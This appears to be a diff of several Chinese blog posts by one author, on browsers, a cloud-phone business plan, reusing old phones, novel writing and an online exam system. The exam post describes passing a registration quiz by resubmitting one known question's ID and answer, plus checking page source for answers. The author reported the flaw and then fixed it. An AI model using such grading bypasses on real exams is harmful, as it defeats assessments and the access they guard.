title: Mayx的浏览器使用史
tags: [浏览器]
---
我感觉遇到了不错的浏览器<!--more-->
# 最初的改变
以前我对浏览器没有什么要求,所以一般都用的是系统自带的浏览器。但是最近几年各大厂商都开始犯病,在浏览器里疯狂加广告,所以没办法,我只好选择其他的浏览器。
我选择浏览器也是近几年才做的事,因为厂商也是最近几年才开始在系统里加广告。
我最初的选择是Firefox因为我听说Firefox的历史悠久从很久以前浏览器出现的时候Firefox就已经出现了只是当时它好像叫Netscape来着。总之就是对Firefox有一些好感然后就一直用Firefox了即使我后来换了手机也一直用的是Firefox。
# 意外发生
不知道我是怎么了就手残了偶然有一次不知道我是想清除缓存呢还是想强行停止Firefox结果手残点到卸载上了……而且更加不可思议的是下一步我还点到确认键上了……结果我的浏览器就随着我的一大堆书签消失不见了……
当时貌似我周围没有WiFi只有流量再下一遍Firefox有点太费了不过我在搜索Firefox的时候发现了Firefox Lite原Firefox Rocket大小只有几MiB是给中国和印度的特供版。我查了一下貌似是北京谋智公司搞的说实话我不太放心这个公司但是当时也没有想太多然后就一直用着了。
不过这个浏览器的功能是真的少垃圾的以至于UA也改不了网页源代码也看不了更不用说什么插件啥的……不过我想我不过是用手机上个网罢了也不打算干什么复杂的事情所以也就忍了。
后来想上贴吧因为这个破浏览器不能改UA所以我只好[使用PHP](/2020/02/10/tieba.html)解决这个问题。
# 偶然遇见
我后来想了想,也许上不了贴吧是我的问题,解决方案可能比我想象的更多,比如说换浏览器之类的,不过问题已经解决了我也就没多想。
不过没过几天我偶然看见了一个浏览器叫做Via大小只有几百KiB功能还比Firefox Lite多。这时候我就没理由不换浏览器了。
换成Via后发现这个功能比我想象的更多不仅主页可以自定义而且可以自定义UA、查看源代码、屏蔽广告也可以装插件这个功能甚至比Firefox本身都多了大小还小了几十倍。
不仅如此里面的插件完美的解决了贴吧的问题这再一次打击了我写垃圾代码的信心lol。
然后我觉得我以后应该不会再换浏览器了。
# 技术分析
我实在是不能理解某些大厂的做法像华为自带的浏览器是UC提供的内核还是Webkit小米的浏览器是直接是Chromium套了层壳顺便还加了一堆广告结果Chromium还是32位的。而腾讯系的软件也是搞的什么X5内核结果还是基于Webkit的越改越烂。
明明谷歌为Android系统配了WebView为什么就不能好好用呢这个WebView基于的还是最新的Chrome呢全球最先进的浏览器这些厂商非要自己瞎搞增加了空间还降低了性能然后还不符合标准真不知道他们到底在搞什么。
像Firefox Lite和Via浏览器就是基于WebView的空间又小性能又好而且到时候升级只用升WebView就OK了。后来我发现用腾讯X5内核的还不只是腾讯系软件连哔哩哔哩居然都在用真是可耻啊不过还好这个内核腾讯还留了一个后门好像是<http://debugtbs.qq.com>用这个就可以不使用X5内核而改用WebView内核了。
感觉真是不理解国内的某些互联网公司在搞什么操作也许就是这个原因Firefox才会为中国和印度提供特供版的浏览器吧23333

@ -0,0 +1,118 @@
---
layout: post
title: 对于云手机的策划书
tags: [手机, 策划]
---
策划?不存在的!<!--more-->
# 前言
我写了[对未来手机的想象](/2020/02/15/phone.html)这篇文章之后,突然想起来学校最近搞了一个创新比赛,反正在家里也是闲着,就打算和同学一起参考我的文章搞一下。
不过我只对写我的博客感兴趣,对写像什么调查之类乱七八糟的东西没什么兴趣,然后我就把策划书的大部分内容交给了那个同学,自己就主要写一下大概的方向。
当然作为人来说,他看起来也对写这种东西不怎么感兴趣,瞎编一部分又从网上找了些资料,写了一半就打算就这么交差。不过其实我对这个东西也没抱多大期望,就当给延长的假期找个乐子吧。
那么接下来就是主要内容了:
# 一、执行总结
## 一、概念产品概述
远程云手机(Remote Cloud Phone简称“RCP”)是基于远程控制与虚拟化技术的移动通讯设备该产品运用云计算与5G技术提高了资源的利用率大大降低了手机的生产成本和实际运算成本。
该产品主要分为两部分,一部分是价格低廉,且有着强大续航能力的控制与显示终端,另一部分是计算力强大,且无需考虑电能消耗的远程云计算平台。
控制与显示终端利用5G的低延时和高效的传输来尽可能的模拟真实手机的使用效果由于计算不在本地所以本地设备的电能消耗和发热都可以做到相当低。远程云计算平台使用虚拟化技术进行动态的弹性计算既能提高能效比又可以提高实际的运算能力。由于远程云计算完全不需要考虑发热量和电能消耗所以也可以提供无限的计算能力。
## 二、面临的市场机会和目标市场定位
市场机会:
外部环境:随着手机科技含量的逐步提高,导致手机价格不断上涨,人民群众对于高科技手机日渐增长的需求与手机不断增长的价格产生了矛盾,人们需要一种价格相对较低,又能满足需求的较高性能的手机。
内部环境:虚拟化技术与远程服务器已经成熟,并且这两项也是云手机的实现最为重要的技术。
目标市场定位:由于手机市场还未有完整成熟的云手机产业链,所以应该先占据市场金字塔的中层,依靠成本低的优势开拓市场。针对于云手机现在的状况,应该采用无差异营销战略,集中研发中端产品。
## 三、市场环境与竞争优势
市场环境:目前,多家公司已经迈进了“云手机”大门,瞄准了“云端”,共同发力智能手机市场。但仍没有做到彻底意义上的云手机,云手机的市场尚未达到饱和,仍有发展潜力
竞争优势:云手机比起普通智能手机,有几处非常大的优势。
1. 存储优势:云手机本身没有存储功能,所有存储都将“云存储”在服务器中,节省了普通智能手机中的内存条空间。
2. 价格优势:云手机几乎所有的计算与渲染工作全部交给了远程服务器,因此云手机产品主要关注于云手机的外观、屏幕分辨率、摄像头分辨率、电池容量,少了许多硬件的安装,手机成本自然降低。
3. 电量持久性优势:手机由于少了许多硬件的安装,手机内部空间变大,可以安装更大容量的电池,并且由于“云手机”在真正工作时,只起到显示的作用,因此电量持续时间可以更久,不会由于工作太久而发热,不影响用户操作体验。
4. 网速更快:由于所有的计算与渲染工作全部交给了远程服务器,远程服务器的运算速度肯定是大于手机本身的,所以可以提高网速,带给用户极致体验。
## 四、团队概述
团队分为四块主体:营销、策划、技术人员和生产。
技术与生产是最为困难的部分。技术人员主要依靠招聘相关专业高素质人才,生产项目依托给华强北,营销策划另外招聘相关专业人员。
## 五、经济状况和盈利能力预测
创业初期资金紧张,主要依靠企业投资和创始者资金众筹。
由于云手机概念并未普及,前期需要进行大量宣传,资金主要花在了研发、广告宣传、服务器等设备的购买上。企业前几个季度必然是亏损为主,但后几个季度会趋之平稳,待云手机的优势宣传普及民众,必然会有更多的消费者购买。
## 六、所需资源和所提供的利益
企业的经首先营需要资金支持,人才资源支持、场地支持
云手机两大核心技术是虚拟机技术与远程服务器技术需要购买服务器因为安卓在ARM指令集运行效率最高所以最好买ARM指令集的服务器。
由于手机的原本功能都由服务计算,不需要在手机中再安装过多芯片所以能为制造手机商减少硬件安装成本。服务器集群,可以在服务器空闲状态出售空闲算力,获得资金,还可以进行品牌宣传。
# 二、产业背景和市场竞争
产业背景:目前,多家公司已经迈进了“云手机”大门,瞄准了“云端”,共同发力智能手机市场。但仍没有做到彻底意义上的云手机,云手机的市场尚未达到饱和,仍有巨大的发展潜力。手机科技含量逐步提高,导致手机价格不断上涨,中低端消费者对于高科技手机的需求日渐增长,但手机价格不断增长,人们需要一种价格相对较低,又能满足需求的较高性能的手机。
市场竞争环境:
多家公司迈进了“云手机”大门。
苹果先行一步基于原有的MobileMe功能全新改写而成的苹果iCloud服务iCloud正式对全球的苹果开发者开放。
国内的手机厂家也不甘落后阿里巴巴、小米、腾讯纷纷开始发力。2011年8月阿里巴巴推出的“阿里云”手机介入智能手机市场。手机系统是自主研发“云智能OS”采用Cloud App方式用户无需在手机端下载应用只要在网络环境下登陆统一的云账号就可以运行OS平台上的各种应用如阿里浏览器、阿里搜索、手机旺旺等。腾讯已经和华为合作推出了包含19款QQ应用的手机其和中国电信深度定制的手机QPhone操作系统也在加快面世的速度。小米更是发布首台智能手机以攻城略地。
2011年9月百度和戴尔也瞄准了“云端”共同发力智能手机市场。2011百度世界大会上百度创始人兼CEO李彦宏就流传已久的“百度手机”透露了相关信息。“我们应该已经跟一家国际手机厂商达成了协议”。最终中国搜索引擎巨头百度将携手全球第二大PC制造厂商戴尔公司共同开发智能手机以及平板电脑。双方合作的手机产品预计将于11月—12月期间上市销售。与此同时百度在本次大会上还发布了移动终端操作系统“百度易”并开始向第三方开发商抛出橄榄枝。不难看出百度进军移动互联网领域的目标正在有条不紊的进行着。
与此同时不少厂商还瞄准了老人手机市场其中2012年3月国内首款云老人手机由沃爱思推出。其将云服务功能用于老人手机实现了子女远程即可操作控制父母手机的全新体验。只需轻松通过web端即可达到子女身边电脑和父母的沃爱思云服务手机之间的连接内容变更、设置设定等就可以变成一件没有距离的事情。可以为老人进手机的所有设置可以远程管理设置远程定位、健康资料、联系人、图铃、闹钟、桌布时间与日期、键盘、高级设置、手机模式等菜单功能。
# 三、市场调查和分析
## 一、目标市场的定位与分析
云手机尚未普及可以凭借其成本低价格低的优势获得中低端消费者的青睐具体的目标群体应该是高中生大学生这类消费者消费能力处于中高端水准并且有较高的素质弄够理解云手机的概念并更好的使用云手机的相关功能。根据调查报告显示大学生对手机要求最重要的是运行速度占34%;其次是功能全面占29%在往下是价格便宜占18%当然外观漂亮也是重要的占14%其余的要求占4%。云手机依靠远程服务器拥有运行速度的优势,能够很好地满足消费者需求。
## 二、市场容量估算和趋势预测
由于云手机概念产品并未正式上市所以其市场容量估算和趋势预测只能依靠2009-2018年智能手机的市场容量估算和趋势去进行参考云手机的出现将是与智能手机的出现一样具有跨时代革命意义的所以云手机的发展趋势可以拿智能手机这些年的发展作为一个参考。
近几年中国智能手机行业蓬勃发展手机更新换代频繁手机产量持续增长。2016年手机产量达到最高峰共计22.61亿部。2018年1-11月手机产量为16.41亿部同比下降2.4%。预计2019年手机产量降幅或扩大。
手机市场趋向于存量状态国内手机市场国产品牌迅速崛起。国内手机存量市场份额最大的仍然是苹果占比28.90%华为占比17.10%国产品牌手机近年来占比持续上升华为在2018年的市场占有率达到26.39%OPPO和Vivo占比达到将近40%。中国巨大的市场需求给中国本土手机品牌的崛起增添了更多的筹码,国内分销市场代理国内品牌的比例普遍上升。
5G将带来新一轮换机潮。基于作为移动互联入口的智能手机与人类生活深度融合5G手机有望开启智能手机的高速物联时代。5G作为第五代移动通信网络相比于4G网络来说其最高理论传输速度可达数10Gb/秒快了将近数百倍一部完整超高清画质的电影可在一秒内下载完成。预计2019年5G智能手机出货量占智能手机出货量总额的0.5%整体智能手机出货量在下降但是5G智能手机预计到2023年有望超过4亿台市占率达到26%。
经过十多年高速发展中国手机市场接近饱和状态虽然全面屏、AI等技术带动了手机行业的发展但在5G到来之前这些技术还不足以带来大面积的换机需求。而在国际上的一些新兴市场依然存在增长红利。
华为目前在欧洲、中东、非洲和印度市场都加快脚步受益于中国和印度市场出货量大增小米成为2018年全球增速最快的手机品牌之一除了印度之外目前其加速发力西班牙、俄罗斯、欧洲等市场。
## 三、竞争格局分析和竞争优势
三星在2019年全球智能手机出货量市场占份额为21.6%华为在2019年全球智能手机出货量市场份额为17.6%位居第二苹果市场占份额为13.9%。小米出货量为1.256亿台占市场份额为9.2%OPPO出货量为1.143亿台占市场份额为8.3%。值得一提的是前五大手机厂商市场份额超全球智能手机市场份额的7成。
在一个竞争如此激烈的市场存活绝非易事需要有过人的竞争优势。云手机概念产品最大的优势便是其续航能力因为云手机本身只负责接收和显示耗电量并不大估算续航能力是普通手机的3-4倍。并且计算和渲染在服务器中进行所以处理速度也是可以令消费者满意的。
## 四、估计的市场份额和销售额
2019年全球智能手机出货量为13.71亿部同比下降2.3%。全球智能手机出货量连续第三年下滑。 从手机厂商来看2019年三星、华为、苹果、小米、OPPO出货量排名前五位出货量分别为2.96亿部、2.41亿部、1.91亿部、1.26亿部、1.14亿部。2019年尽管华为在海外市场面临持续挑战但仍超越了苹果成为智能手机出货量全球第二。未来伴随着网络覆盖率提高、5G提速中国消费者仍在等待更加亲民的5G智能手机面市。
## 五、市场发展的趋势
智能机行业呈现平缓发展状态2018年市场规模达到15.6亿台同比增长9.4%,随着人口红利枯竭,智能机市场增长动力主要依靠迭代换新。
苹果在国内的市场首席地位并未被超越但以华为、oppo和vivo为首的国产阵营品牌抓住科技机遇和换机红利不断扩大市场空间而小米、三星、魅族等品牌则有锁缩水。
智能手机迭代需求弥补人口红利动力减弱的损失,通过更富科技感和时尚感的产品设计和定位,激发人们的换机心理,推动市场向更高层次发展。
一、二线城市以及东部沿海地区引领高端智能机市场,三、四线、五线城市以及华中、西南、西北等内陆地区则不断升级设备,其中定位中端的智能机较受欢迎。
一线城市智能移动终端市场新增乏力,二线城市是新增智能移动终端主要市场,新增设备以高端机为主流,三线及以下城市的增幅更加明显,中端机更加受到用户亲睐。
智能移动终端质量方面整体提升明显,电池、屏幕等主要故障问题逐步减少,但是,内存不足问题有所升温;智能移动终端维修渠道目前主要依赖官方售后和传统线下门店。
根据上面数据可得几个结论:
1. 智能机市场增长动力主要依靠迭代换新。
2. 需要更富科技感和时尚感的产品才能促进迭代换新。
3. 定位中端的智能机较受欢迎。
4. 二、三线城市是新增智能移动终端主要市场。
5. 内存不足问题有所升温。
从以上结论中发现云手机概念产品是适合当下市场的消费者需求与大环境发展趋势的
云手机概念产品的提出,可以有力的促进迭代换新,从而从接近饱和的市场中再次开拓新的市场。并且云手机消费群众定位在中端消费者与二三线城市,且中端消费者的市场还未饱和,仍有开拓潜力。云手机本身优势可以很好地解决内存、手机发热、价格过高的问题。
# 四、公司战略
## 一、商业模式
关键业务: 统一通信、通信设备、云计算与云服务
核心资源: 创新的技术、人才资源、顾客信息
价值主张: 以提高人们生活质量为愿景,运用云计算科学与技术领域专业,缩小贫富差距, 让人人享有。以绿色科学为基本准则,应对全球变暖挑战,资源集群化,减少能源浪费,创造更佳的社会效益,经济效益。
顾客关系: 以顾客和市场为中心。 与客户结为战略合作伙伴,以双赢为发展目标。以及时挖掘顾客需求作为企业发展动力;以客户不断增长的需求作为企业存在的意义。
销售渠道: 分销渠道,直销渠道。
售后服务: 设置对应的客户群经理、区域客户代表,了解客户需求,满足客户需求。确保及时响应。设有服务热线,顾客可以直接通过拨打热线来反映需求,其需求将由专人转达给相关人员,最后再反馈给客户。成本结构:研发成本、采购成本、生产成本、无形成本
收入来源:通信设备占主要,云计算与云服务占次要。其中主要为通信设备购买、云端软件购买、服务器空闲资源出租
## 二、公司的研发方向和产品线扩张策略
公司研发方向主要是设计产品外观、服务器群的搭建、最重要的事开发、优化远程连接服务器与手机的软件
产品线扩张策略:在概念产品基本研制完毕的基础上,第一季度主要搭建服务器群组,第二季度进入设备测验、调试、生产阶段,并进行策划宣传。第三季度正式投入市场。每两个季度推出一款优化过的云手机。优化主要是针对设备运行速度。
## 三、主要的合作伙伴与竞争对手等
主要的合作伙伴是生产商、宣传商、设备及其零件提供商。
主要对手是例如像华为、苹果这样已经在云手机方面有开发经验和已经开始研发的厂商。
# 五、关键的风险和问题
## 一、技术方面
可能存在实际产品的网络稳定性无法达到预期,或使用效果无法和原机相比。
这部分可以通过向更可能提供稳定网络区域的消费者宣传,比如上班族等使用范围始终在稳定区域的人们
## 二、市场方面
可能出现消费者不信任等问题。
这个解决方案可以通过提高宣传预期来降低人们对这个产品的不信任。
## 三、财务方面
可能存在初期成本无法回收等问题。
可以通过众筹等方式融资。
# 后记
我在这个活动结束之后,仔细思考了一下我的这个产品的的实用性。
我看了一下现在更多人买手机的方案发现我的产品还是有很多地方是有缺陷的。先不论技术问题对于消费者来说现在分期消费已经很流行了比如一台5000CNY的手机如果可以免息分期24期每月也才200CNY左右而过了两年之后也差不多该换新的手机了这时候再来一波以旧换新5000CNY的手机2年后顶1000CNY应该没问题吧然后第三年换个更好的手机在不考虑通货膨胀等情况下再分期……这样算下来其实价格也没多高然后相比于云手机的稳定性又会高很多…… ~~感觉老考虑这种事的我是不是穷疯了23333~~
不过如果真的有云手机出现说不定以后终端设备包年免费送结果最后又回到现在需要一次付清的尴尬情况23333
感觉生活就像是正弦函数一般,不断在前进,但是又不断在重复,感觉进步毫无意义,但是又不能不做……
不过对于我来说,我还是挺希望云手机的出现,因为我觉得云手机更符合手机的意义,堆配置不应该是手机该做的事,那是电脑该做的,手机还是应该做好它便携高效的本职才对。

@ -0,0 +1,29 @@
---
layout: post
title: 旧手机的N种用法
tags: [手机]
---
利用旧手机是废物利用呢还是强行增添价值?<!--more-->
# 起因
在上个月我找到了家里的一堆旧电子产品,顺便水了一篇[文章](/2020/02/02/old.html)。不过像旧电脑可能还有收藏价值,旧手机就毫无用处了。
首先我想的是把旧手机卖掉之前我在闲鱼上卖掉了一部锤子T1也才卖200CNY然后我和买家都不满意然后事还多然后其他的手机也都是伊拉克成色……所以剩下的手机我也不打算在闲鱼上卖了。
第二个选项是回收我在网上回收估价唯一能找到品牌的华为麦芒4才能回收70多CNY在线下估才估了120CNY我想了想这个手机虽然CPU垃圾成色也垃圾但是我的屏幕是完好的而且还是1080P的一个完好的屏幕总成都不止70CNY吧何况这个手机还有32GiB的存储就是拿来存东西也比卖个120CNY好吧
所以我不再打算把这些旧手机换成钱了,我还是想想怎么样开发它的剩余价值吧。
# 旧手机的用法
我在网上查了查旧手机能做什么,看好多文章都说的是做监控、行车记录仪、导航仪、闹钟啥的,更有甚者拿它来做时钟。
我想了想导航仪和闹钟用自己的手机比旧手机要好多了吧监控的话手机又不能转而且不像买的摄像头有自带的NAT穿透感觉太鸡肋。行车记录仪倒是还可以屏幕、存储、GPS和摄像头都能用上不过支架不太好找而且我也没车没驾照对我来说也没啥用。
当做时钟倒也是一个不错的想法毕竟手机屏幕也不小不过我算了一下如果用手机当时钟耗电量要比普通时钟大几百倍而且LCD屏只要开着整个背光都是亮的如果背景全白亮瞎眼全黑又感觉浪费一有强光又看不清而且人一天也不会看几次时钟大多数想看时间的时候都会把自己的手机摸出来看所以这个方案同样很糟糕。
不过我觉得整个手机最有用的也就是屏幕了,所以屏幕应该要用上,然后再思考一下什么事适合旧手机做而不适合自己的手机做……像需要性能的部分电脑做就够了,大多数功能当前用的手机就够了,那么什么事情费手机就让手机来做吧!
我觉得屏幕常亮就已经很费手机了那么更费手机的应该是让手机做一些小而杂的工作比如说当服务器用电脑当服务器太耗电所以肯定不应该让电脑长时间开着但是手机很适合24H开机所以拿来当服务器是个不错的选择而且当服务器的同时也不占用屏幕可以让手机最大化的利用。
让手机当服务器的方案很多毕竟Android系统本身就是基于Linux的所以运行服务器软件并不是什么难事。想自己搞的话可以自己编译一套ARM指令集的Nginx+PHP+MySQL嫌麻烦也可以直接用现有的KSWEB一键安装也很方便如果手机的配置实在垃圾也可以用BusyBox上带的httpd然后用C或shell写一套网站都没问题有CGI也没多难当然技术厉害的大佬也可以直接写服务器程序也没有问题。
既然旧手机后台的工作已经确定下来了那么前台的屏幕可以做什么呢1080P的屏幕应该说也是相当不错了拿来搞电子相册就挺不错的不过现在电子相册现在已经淘汰了而且就显示个照片实在是浪费这么好的屏幕。
不过只显示照片很浪费那么显示视频如何呢要不然就直接动态桌面不是更好吗我觉得这个想法不错于是我就在Google Play上找了一个不错的Live2D的壁纸拿来做在桌上的虚拟人偶也不错嘛。
屏幕也用到了要不然再用个耳机孔在旧手机上插一套音响设备然后用服务器控制也可以或者用语音助手控制也可以至少华为麦芒4这个手机还支持DTS音效啥的放歌总比MP3好多了吧像买一个智能音响也要不少钱但是旧手机加普通音响的价格就会低很多。
当然上述一切的前提是这个旧手机只有CPU和存储器过时了电池坏没坏倒是无所谓但如果说屏幕和音频解码也很垃圾的话那么上述效果会差很多。
# 总结
综上所述一部旧手机在外拿来做行车记录仪在家作为服务器、桌面虚拟人偶和智能音响是个不错的选择当然想拿来做小型家庭云存储也挺好NAS那么贵不如用旧手机。
当然以上都是尽可能的利用旧手机的方案,如果懒得折腾还是买正规设备更好,如果觉得上述功能对自己没任何用处,那么换成钱也许更好(其实我也用不到上面那些功能,只是 ……~~穷疯了23333~~ 不舍得丢掉,所以想榨干它们最后的价值罢了)

@ -0,0 +1,50 @@
---
layout: post
title: 关于写小说的技巧探究
tags: [小说, 计划]
---
我可从来没写过小说啊……<!--more-->
# 前言
我在前几个月定下的5年计划中有一个[制作游戏的计划](/2019/12/17/game.html),不过说实话我的文学水平实在是不堪,所以近些日子我时不时的就在考虑到底怎么样写游戏的剧情才能让玩家觉得不会很无聊。
最近我也有看过一些小说或动画作品我觉得它们应该也会对我的写作和剧情构思能力有一定的提升。比如《ID:INVADED》我觉得这是这个季度最有意思的推理动画另外我还看过《文学少女》这部小说也同样有着推理内容而且看完以后会感觉到作者强大的文学底蕴。
对于我的游戏而言,因为整体设计是作为解谜游戏来制作,所以从剧情上来说我也更希望能做成推理的解谜游戏。
虽然我个人没写过小说,但是看了各种优秀的作品以后,我觉得自己应该也能总结它们的特点,写出属于我自己的剧情。
经过我的总结,我认为一部小说总体可以分为两部分,即写作风格和剧情,写作风格可以看做是小说的身体,而剧情则是灵魂。所以我接下来打算以这两个方面来总结一下我对写小说的理解。
# 写作风格
从我前面写的几十篇文章来看,大家也都应该知道,我的写作水平是真的垃圾,垃圾到自己只敢写第一遍,不敢读第二遍……不过这么垃圾的东西我也不会删掉,毕竟这作为历史我也不应该消除它。
虽然我的写作能力很垃圾,但是这就是我的写作风格,水平垃圾是水平问题,但是风格垃圾这就没办法了…… ~~我只会生产垃圾QAQ~~ 尽管我写的很垃圾,但是我看了看网上的某些小说,发现它们看起来似乎更垃圾,这让我稍微安心了一点点。不过其实我的写作水平总体来说就是大概小学的水平,即使别人写的看起来很烂,但是能发布小说而且还有人打赏的,也要比我写的好吧……
经过我的总结我觉得写作风格主要来源于作者的平时经历比如平时喜欢写技术文档的人他如果写小说就是比较理性的风格虽然我没写过技术文档但是我觉得至少我写的也算是技术类博客吧另外如果喜欢ACGN次文化的人在写文章的时候也会经常加入相关语句之类的……比如说梗Meme以及在网络社区呆的时间很长也会喜欢加入一些网络用语。
另外写作能力也算风格的一部分,比如我经常莫名其妙的连续使用连词,比如然后、而且、对于、虽然……之类的,而且在写文章的时候经常前言不搭后语,就感觉似乎自己脑子的缓存很小,可能在写文章的时候也就能存一句话,写下一句话的时候要看一下前一句话然后进行实时演算,这个样子的效率可以说是真的低,不过这也算是用时间解决空间过小的问题吧。
我在小时候也看过很多文章,我记得当时还有订阅过一些刊物,比如《实用文摘》之类的,但是我总觉得我的记忆力是越来越差了,大概和我现在糟糕的生活习惯有关吧,而且即使我看过很多文章和小说,也很难把他们的写作风格吸收……
总而言之,写作风格和写程序一样,一是平时的水平积累,二是脑子够不够用,三是生活经历。这时候我又回去看了看我以前写的[MaBBS](https://github.com/Mabbs/Mabbs)由衷的感叹那时我的脑子可真是厉害那么奇葩的代码我竟然能坚持写到将近1700行现在的我无论从哪一方面都比不了那时了……但是我也能理解那时的我为什么弃坑……也和经历有关……TAT
# 剧情
写作风格我没法讲的更多了因为我自己的水平本来就很垃圾讲的再多就成了对自己的批斗会了23333。对于剧情嘛……就是逻辑方面的东西我觉得这个我可能更加擅长一些。
首先我认为写剧情要先建立一个相关世界,无论是描写真实的事物,还是描写虚假的事物,都需要先有被描写的对象才可以开始。所以第一点就是对世界的建立。
## 建立世界
建立剧情的世界和当造物主一样,要先考虑建一个什么样的世界。对于我看过的大多数小说而言,大家认为写自己所在的世界更加容易一些,毕竟想象不如参照现实来的简单,所以大多数人都会选择地球作为剧情发生地或起始地。
虽然用自己所在的世界创建剧情世界不需要自己考虑太多,一切都是现成的,但是也正是因为一切都是现成的,而且也都是大家生活的地方,所以限制也非常大。首先为了避免被认为是对现实的含沙射影,很多时候可能在写关于地名时不应该使用现实中的地名,同样也不应该写对现实事物或人物造成了什么伤害,否则如果以后知道的人多了,就会被“炎上”,毕竟写小说的人也不希望自己写的东西太过于有争议性,影响到现实中的自己也不太好。
除此之外就是一些现实的常识限制,如果在地球上还修改了一堆基础的物理学,要么会被说是物理没学好 ~~河马的物理23333~~,要么就是被人说是强行乱改物理学。总之就是以地球为基准对剧情的限制会比较多,当然写好了也会增加对读者亲密度,因为大家都对自己生活的地球都很了解,不需要再去考虑更多的设定,对读者的压力会小很多。
不过既然我要写的是推理解谜游戏,那么当然不在乎对读者有多少压力,能给读者更大的压力才是解谜游戏有趣的地方,所以我更希望使用非现实世界作为剧情发生的世界。另外如果想增加读者亲密度,也可以把起始地设置为现实世界,剧情发生地在完全自创的世界。
不过自己从零创造世界是个很困难的事情,现实的规则可以不用,但要符合逻辑性,不能因为是自己创造的世界就完全不需要遵守规则,没有逻辑的世界会让人读起来很难受,所以从零创造世界也非常考验作者的水平。
## 角色配置
除了世界以外当然还要有在世界中的表演的角色,就像演戏一样,世界是角色表演的舞台,而角色则是在舞台上表演的人,角色的配置也很重要。
对于如何描写角色,用第一视角还是第三视角这个其实不重要,对于初期建立剧情来说,我们不需要考虑那么多,就像建模一样,建模虽然需要一个第一视角(摄像头),但是它不重要,重要的是里面的模型。
对于角色是不是人这种事,其实主要还是看建立的世界如何。建立的世界定义了在其中活动角色的世界观,如果那个世界的角色都认为在那个世界上生存的是对我们来说的怪物,那么它们在那个世界看待怪物里和我们在现实世界看待人是一样的。不一样的是在现实世界中看到怪物,这种事情会与其中人物的世界观发生冲突,然后再引起事件就很容易了。
所以对于角色配置,如果希望搞事情就可以设置与那个世界不相符合的角色,如果希望搞事情不是从这里开始,那就按照建立的世界规则走就可以了。
定义了角色的类型以后,还需要定义角色的一些能力,比如某个角色在整个世界中站在什么样的程度,像主角到底应不应该很厉害,到底是那种打败天下无敌手,还是普通的厉害?或者说就是一个菜鸡?当然这个角色配置也不一定就定下来了,菜鸡也可能凭自己的努力变厉害,或者是欧气爆棚捡到了神级装备,也或者是受神恩赐得到了很强大的能力之类的。
初始的角色能力的配置并不是很重要,因为它可以通过剧情发展变化,重要的是角色能力变化趋势,也就是最后角色的能力如何。在角色能力变化的时候发生的剧情也是比较有意思的。
我看小说的时候很喜欢主角很厉害因为我看小说的时候喜欢把自己代入到主角中所以对于我个人而言我不希望主角遇到糟糕的事情也不喜欢BE更不喜欢NTR。
## 发展模式
有了舞台和演员,接下来就要开始演戏了。这个戏怎么演,主要就看它的发展走向。根据我的了解,一个故事剧情最重要的就是波折,如果一个故事中全都是高潮,那么它就是很高的平淡无奇。所以一般比较好的写法就是剧情开始怎么低落怎么来,但是不能低落到让读者失去兴趣,之后慢慢上升,上升到一个高度再猛然下降,就这样搞一些发展趋势三角形,最后在上到最高点,让人感觉如同在坐过山车一般。
当然说起来谁都会,写起来可不容易,不过我目前还是没什么好的灵感,现在不过是在积累方法,就让我再多胡诌一阵子吧。
在整个剧情的发展中,最忌讳的就是套路,如果读者在阅读的时候已经预测到结果了,那这一部作品就是垃圾。毕竟大家看剧情要看没见过的,已经见过的还有什么看头?
不过这一方面也很复杂,我现在连我以前的代码都看不懂,怎么才能想到别人没想到的层面呢?如果作家才在第二层,读者都想到第五层了,那还有什么写头?
# 结语
总之,写小说还是非常考验水平的,无论从写作水平还是编剧水平,都是要求很高的。写作水平要求的是积累的能力,而编剧水平则要求的是思考深度,这两部分都很难啊……我该怎么样写好我的游戏呢?真希望有人能和我一起来写这个游戏啊……
另外我写的游戏也不只是小说还要把各种谜题合理的嵌入其中……这个5年计划可真是复杂啊……
P.S.我觉得纯前端写这个还是尽量出逻辑解谜题,毕竟程序题有了源代码还是很容易被破解。

File diff suppressed because one or more lines are too long

@ -0,0 +1,125 @@
---
layout: post
title: 关于制作考试(答题)系统的研究
tags: [考试, 答题]
---
在答题系统的安全性上,没有人胜利……<!--more-->
# 答题系统的来由
在我维护的花火学园上,有一套答题系统。另外我能成为花火学园的运维也是因为这个系统,这件事也是个很神奇的事情。
具体内容也充满了机遇性在我上高中的一天我偶然发现了花火学园论坛发现了之后我就想注册然而这个论坛注册要求挺高需要邀请码如果没有就要去答20道题来获得邀请码。
那个题很难,正常人会的可能只有不到一半,如果有兴趣也可以看看[花火考场](https://www.say-huahuo.com/answer/)对于这些题同样我也不会。不过不会没关系我以前在做网上的考试时从来都不会安心看题总会想着按下F12看看有没有什么不答题也能通过的方法。
按正常来说,应该没有人会把答案放到网页源代码中,但是在我做的好多次网络考试中,他们都把答案放到了源代码之中。我想这也许是为了降低服务器的运算压力吧……但是这样考试有点计算机知识的人都能把答案找出来,那考试还有啥意义……
总之就是因为这样奇怪的程序员很多所以我每次在网上答题前都会按下F12看看有没有什么更简单的通过方法。
当时我看了看花火考场的源代码是打包后的vue代码看来是没法从网页源代码这里入手了那第二点就是查看网络请求的数据了。
我大概看了一下这个答题系统的获得题目和提交都是由同一个php程序工作的过程是答题之前获得一组题目答完后将答案和一组表示题目的ID组合到一起提交到这个程序上提交后如果分数超过70分就会生成一个邀请码。看着这个过程我突然脑洞大开想着既然这个程序阅卷时只用ID和答案那么我如果会做其中一道题让这个程序反复批已知答案的同一道题那么我就可以得满分了吧。
结果还真是这样,有点不可思议,于是我就成功的注册了花火学园。
注册后我就给管理员说了这个问题,也是这样的一次机会我加入了花火学园的程序组当中。
这个答题系统是由[you06](https://github.com/you06)大佬开发的,不过我反馈了这个问题以后,貌似问题仍然没有被解决……而我一般看代码也是有一定的机遇,只有心情适合写代码或看代码的时候才愿意去写,所以我成为管理员以后我也没有解决。
关于答题系统这个东西我一直觉得开发起来很简单,像客观题就是比对一下答案是不是一致就行了,所以说我上了大学以后,我一直想着和同学一起做个答题系统练练手,可惜现代大学生最喜欢干的事情就是摸鱼,所以一直都没有做答题系统。
不过前几天正好我的心情符合看代码的状态,然后就看了看我能不能解决这个问题。
# 修复漏洞
我闲来无事打开看了看阅卷的这个小程序整个代码很短也很好理解。当时加入程序组后我和you06说用session解决这个问题也许不错虽然问题没解决但是能看到他已经写了一部分了也许是因为调试时出问题了所以写了一半之后就再没管。
我看了看之所以you06的代码出了问题其实主要原因是因为环境变量上少加了下划线所以没读到数据才导致程序出问题的既然问题找到了我很轻松的就改了过来。
# 参考代码
既然漏洞解决了,那我觉得即使大家看到程序的源代码也没关系,我检查了很多遍,也没看出问题,所以现在我将阅卷系统的核心代码展示出来:
```php
<?php
